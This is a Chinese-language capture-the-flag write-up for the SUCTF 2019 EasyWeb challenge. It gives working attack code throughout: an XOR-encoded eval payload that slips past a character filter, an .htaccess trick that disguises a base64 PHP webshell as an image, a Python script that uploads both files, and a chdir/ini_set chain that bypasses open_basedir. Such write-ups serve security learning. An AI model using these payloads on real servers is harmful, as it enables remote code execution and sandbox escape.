Dir_bypass
概述
做到一道open_basedir bypass的题目([SUCTF 2019]EasyWeb),还有许多其它的点,来记录一下。首先进入的是一个代码审计的阶段:
<?php
function get_the_flag(){
// webadmin will remove your upload file every 20 min!!!!
$userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);
if(!file_exists($userdir)){
mkdir($userdir);
}
if(!empty($_FILES["file"])){
$tmp_name = $_FILES["file"]["tmp_name"];
$name = $_FILES["file"]["name"];
$extension = substr($name, strrpos($name,".")+1);
if(preg_match("/ph/i",$extension)) die("^_^");
if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");
if(!exif_imagetype($tmp_name)) die("^_^");
$path= $userdir."/".$name;
@move_uploaded_file($tmp_name, $path);
print_r($path);
}
}
$hhh = @$_GET['_'];
if (!$hhh){
highlight_file(__FILE__);
}
if(strlen($hhh)>18){
die('One inch long, one inch strong!');
}
if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) )
die('Try something else!');
$character_type = count_chars($hhh, 3);
if(strlen($character_type)>12) die("Almost there!");
eval($hhh);
?>
异或绕过
首先可以看到对hhh进行了长度和许多符号的过滤限制,我们先写一个脚本看一下哪一些字符可用,我们可以看到这些字符是可以使用的:
<?php
for($i=0;$i<=0xff;$i++)
{
$char=chr($i);
if ( !preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i',$char) )
{
echo(dechex($i).' ');
}
}
?>
//21 23 24 25 28 29 2a 2b 2d 2f 3a 3b 3c 3e 3f 40 5c 5d 5e 7b 7d 80 81 82 83 84 85 86 87 88 89 8a 8b 8c 8d 8e 8f 90 91 92 93 94 95 96 97 98 99 9a 9b 9c 9d 9e 9f a0 a1 a2 a3 a4 a5 a6 a7 a8 a9 aa ab ac ad ae af b0 b1 b2 b3 b4 b5 b6 b7 b8 b9 ba bb bc bd be bf c0 c1 c2 c3 c4 c5 c6 c7 c8 c9 ca cb cc cd ce cf d0 d1 d2 d3 d4 d5 d6 d7 d8 d9 da db dc dd de df e0 e1 e2 e3 e4 e5 e6 e7 e8 e9 ea eb ec ed ee ef f0 f1 f2 f3 f4 f5 f6 f7 f8 f9 fa fb fc fd fe ff
我们写一下异或脚本进行构造一下,异或rce参考链接:(82条消息) 浅谈PHP代码执行中出现过滤限制的绕过执行方法_末初mochu7的博客-CSDN博客_php命令执行绕过:
看一下phpinfo的信息,我非预期解出了flag,emmm但是还是继续往下写吧:
?_=${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo
//ini_set限制了basedir位置:open_basedir /var/www/html/:/tmp/ /var/www/html/:/tmp/
这个成功了但是我们还是利用一下他的get_the_flag函数,我们对参数进行异或构造:
?_=${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=get_the_flag
//直接修改%ff的参数即可转化为get_the_flag
代码审计
get_the_flag对文件的传输进行了过滤,首先是后缀不可以含有ph字眼,同时文本的内容不可以含有php标记,因为版本的原因我们无法使用script进行绕过,那么我们可以用.htaccess进行base64编码绕过,同时它还检查了图片中的宽高信息,绕过的方式是,在htaccess里添加高宽定义,绕过图片检测。
htaccess脚本:
#define width 1337
#define height 1337
AddType application/x-httpd-php .sss
php_value auto_append_file "php://filter/convert.base64-decode/resource=./shell.sss"
shell.sss脚本:
GIF89a
PD9waHAgZXZhbCgkX1BPU1RbJ2FiYyddKTs/Pg==
//<?php eval($_POST['abc']);?>
看到一些大佬直接用py脚本上传文件:
import requests
import base64
htaccess = b"""
#define width 1337
#define height 1337
AddType application/x-httpd-php .sss
php_value auto_append_file "php://filter/convert.base64-decode/resource=./shell.sss"
"""
shell = b"GIF89a11" + base64.b64encode(b"<?php eval($_POST['cmd']);?>") #GIF89后的11是为了满足base64编码
url = "http://1726b4e0-8b38-4d49-a860-44a37202bcdf.node4.buuoj.cn:81/?_=${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=get_the_flag"
files = {'file':('.htaccess',htaccess,'image/jpeg')}
data = {"upload":"Submit"}
response = requests.post(url=url, data=data, files=files)
print(response.text)
files = {'file':('shell.sss',shell,'image/jpeg')}
response = requests.post(url=url, data=data, files=files)
print(response.text)
蚁剑连接
根据给出的文件地址进行蚁剑连接,但是因为前面限制的原因,只得到了一个假的flag。
hhhh
This is fake flag
But I heard php7.2-fpm has been initialized in unix socket mode!
~
目录跨级
跨级原理:从PHP底层看open_basedir bypass · sky’s blog (skysec.top)
mkdir('dydong');
chdir('dydong');
ini_set('open_basedir','..');
chdir('..');
chdir('..');
chdir('..');
chdir('..');
chdir('..');
chdir('..');
chdir('..');
chdir('..');
ini_set('open_basedir','/');
var_dump(scandir('/'));